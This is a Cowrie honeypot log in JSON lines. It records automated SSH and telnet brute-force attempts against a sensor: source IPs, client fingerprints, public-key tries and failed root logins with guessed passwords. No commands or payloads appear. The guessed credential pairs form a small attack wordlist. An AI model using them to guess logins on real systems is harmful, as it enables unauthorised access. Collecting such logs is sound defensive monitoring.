{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:25:65:2e:d4:58:33:7d:bf:e1:6b:ef:a9:bc:c5:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyZkZOPuDrVqt24cXdD8j0+UvJRnqFsvvIjJxjyf3fbrjxNCe+q/VLAKL706GG8TFqF6QCmJyipczqCvUVVDCy/vlOvwINWJVBbfyP+NAXOslidkcwHEZQJEBX3G7QRIHoy7epgD31+4TxFjoZOBtDTsQP1QK9DQIsk5+2MVFaCE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:25:65:2e:d4:58:33:7d:bf:e1:6b:ef:a9:bc:c5:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.154656Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:25:65:2e:d4:58:33:7d:bf:e1:6b:ef:a9:bc:c5:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyZkZOPuDrVqt24cXdD8j0+UvJRnqFsvvIjJxjyf3fbrjxNCe+q/VLAKL706GG8TFqF6QCmJyipczqCvUVVDCy/vlOvwINWJVBbfyP+NAXOslidkcwHEZQJEBX3G7QRIHoy7epgD31+4TxFjoZOBtDTsQP1QK9DQIsk5+2MVFaCE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.157509Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:cf:b1:29:49:3c:ae:43:f2:57:18:0a:ad:e4:bc:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+2zUsWOHiSjtmoGzb3Okvs/UkAhJ79vCDQNZHCcFjJ8fHcIybuJ+WzQvq+04v9HWtMIHp1Vw/LSjcEfi6J5chnOvh60V2uNfIKM2qINVRF5wV1M58V1/hhWkOSkx5a0tpgLMDiXVIxthezXot1v9VlbCo/7NpYTtiYRV2RnRX+bXd6XwJsE5oGZu/12wG8hPCuireFNULyBJ6B382FYAaqJO2lo5BWLY1rbdsPXG5Nmrz8E8YDJGE8PlRkq0K/fPDh1dmvzvvuVnmpIXe3o/wz9unANqF1OQygyQfZVV+t8uxr38XBJeJikR4rbfZjX1TxPsdYOGA4L3+6lrM3rKr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:cf:b1:29:49:3c:ae:43:f2:57:18:0a:ad:e4:bc:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.166052Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:cf:b1:29:49:3c:ae:43:f2:57:18:0a:ad:e4:bc:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+2zUsWOHiSjtmoGzb3Okvs/UkAhJ79vCDQNZHCcFjJ8fHcIybuJ+WzQvq+04v9HWtMIHp1Vw/LSjcEfi6J5chnOvh60V2uNfIKM2qINVRF5wV1M58V1/hhWkOSkx5a0tpgLMDiXVIxthezXot1v9VlbCo/7NpYTtiYRV2RnRX+bXd6XwJsE5oGZu/12wG8hPCuireFNULyBJ6B382FYAaqJO2lo5BWLY1rbdsPXG5Nmrz8E8YDJGE8PlRkq0K/fPDh1dmvzvvuVnmpIXe3o/wz9unANqF1OQygyQfZVV+t8uxr38XBJeJikR4rbfZjX1TxPsdYOGA4L3+6lrM3rKr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.170006Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.178214Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.511612Z","src_ip":"43.134.112.237","session":"b569f229ab15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":47598,"dst_ip":"10.17.0.5","dst_port":22,"session":"17fec3164701","protocol":"ssh","message":"New connection: 103.96.74.162:47598 (10.17.0.5:22) [session: 17fec3164701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:26.380628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:26.385346Z","src_ip":"103.96.74.162","session":"17fec3164701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:26.711568Z","src_ip":"103.96.74.162","session":"17fec3164701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.54912805557251,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:27.626118Z","src_ip":"192.119.13.58","session":"e5e03370b191","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@1234","message":"login attempt [root/1234@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:27.715286Z","src_ip":"103.96.74.162","session":"17fec3164701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:28.945592Z","src_ip":"103.96.74.162","session":"17fec3164701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":35594,"dst_ip":"10.17.0.5","dst_port":22,"session":"c713e9311f4e","protocol":"ssh","message":"New connection: 185.40.30.168:35594 (10.17.0.5:22) [session: c713e9311f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:29.207248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:29.213144Z","src_ip":"185.40.30.168","session":"c713e9311f4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:29.338056Z","src_ip":"185.40.30.168","session":"c713e9311f4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"~!@","message":"login attempt [root/~!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:29.868734Z","src_ip":"185.40.30.168","session":"c713e9311f4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:30.997394Z","src_ip":"185.40.30.168","session":"c713e9311f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59510,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3cdb9fb6eb","protocol":"telnet","message":"New connection: 152.42.224.71:59510 (10.17.0.5:23) [session: 8a3cdb9fb6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:46.884432Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":45984,"dst_ip":"10.17.0.5","dst_port":22,"session":"606a102fa8b8","protocol":"ssh","message":"New connection: 168.144.95.137:45984 (10.17.0.5:22) [session: 606a102fa8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:54.743767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:54.748281Z","src_ip":"168.144.95.137","session":"606a102fa8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:54.959197Z","src_ip":"168.144.95.137","session":"606a102fa8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":55244,"dst_ip":"159.203.135.109","dst_port":22,"session":"77a523e712ab","protocol":"ssh","message":"New connection: 43.128.106.207:55244 (159.203.135.109:22) [session: 77a523e712ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:55.053319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:55.058487Z","src_ip":"43.128.106.207","session":"77a523e712ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:55.287391Z","src_ip":"43.128.106.207","session":"77a523e712ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":34352,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea1dd38774d0","protocol":"ssh","message":"New connection: 217.154.42.110:34352 (159.203.135.109:22) [session: ea1dd38774d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:55.646527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:55.655505Z","src_ip":"217.154.42.110","session":"ea1dd38774d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:55.745471Z","src_ip":"217.154.42.110","session":"ea1dd38774d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"app","message":"login attempt [root/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:55.840283Z","src_ip":"168.144.95.137","session":"606a102fa8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"netflow","message":"login attempt [root/netflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:56.100481Z","src_ip":"217.154.42.110","session":"ea1dd38774d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric123","message":"login attempt [root/eric123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:56.234349Z","src_ip":"43.128.106.207","session":"77a523e712ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:57.054609Z","src_ip":"168.144.95.137","session":"606a102fa8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:57.183859Z","src_ip":"217.154.42.110","session":"ea1dd38774d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:57.465955Z","src_ip":"43.128.106.207","session":"77a523e712ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":50438,"dst_ip":"159.203.135.109","dst_port":22,"session":"b84f80e14f71","protocol":"ssh","message":"New connection: 193.32.162.151:50438 (159.203.135.109:22) [session: b84f80e14f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:00.973973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:00.979101Z","src_ip":"193.32.162.151","session":"b84f80e14f71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:01.108906Z","src_ip":"193.32.162.151","session":"b84f80e14f71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"1qaz@WSX","message":"login attempt [hduser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:01.431170Z","src_ip":"193.32.162.151","session":"b84f80e14f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:02.548549Z","src_ip":"193.32.162.151","session":"b84f80e14f71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":43786,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6cd11be8dbb","protocol":"ssh","message":"New connection: 69.49.246.176:43786 (159.203.135.109:22) [session: c6cd11be8dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:05.390379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:05.399705Z","src_ip":"69.49.246.176","session":"c6cd11be8dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:05.421051Z","src_ip":"69.49.246.176","session":"c6cd11be8dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd12","message":"login attempt [root/asdasd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:05.564465Z","src_ip":"69.49.246.176","session":"c6cd11be8dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:46:06.595485Z","src_ip":"69.49.246.176","session":"c6cd11be8dbb","protocol":"ssh"}
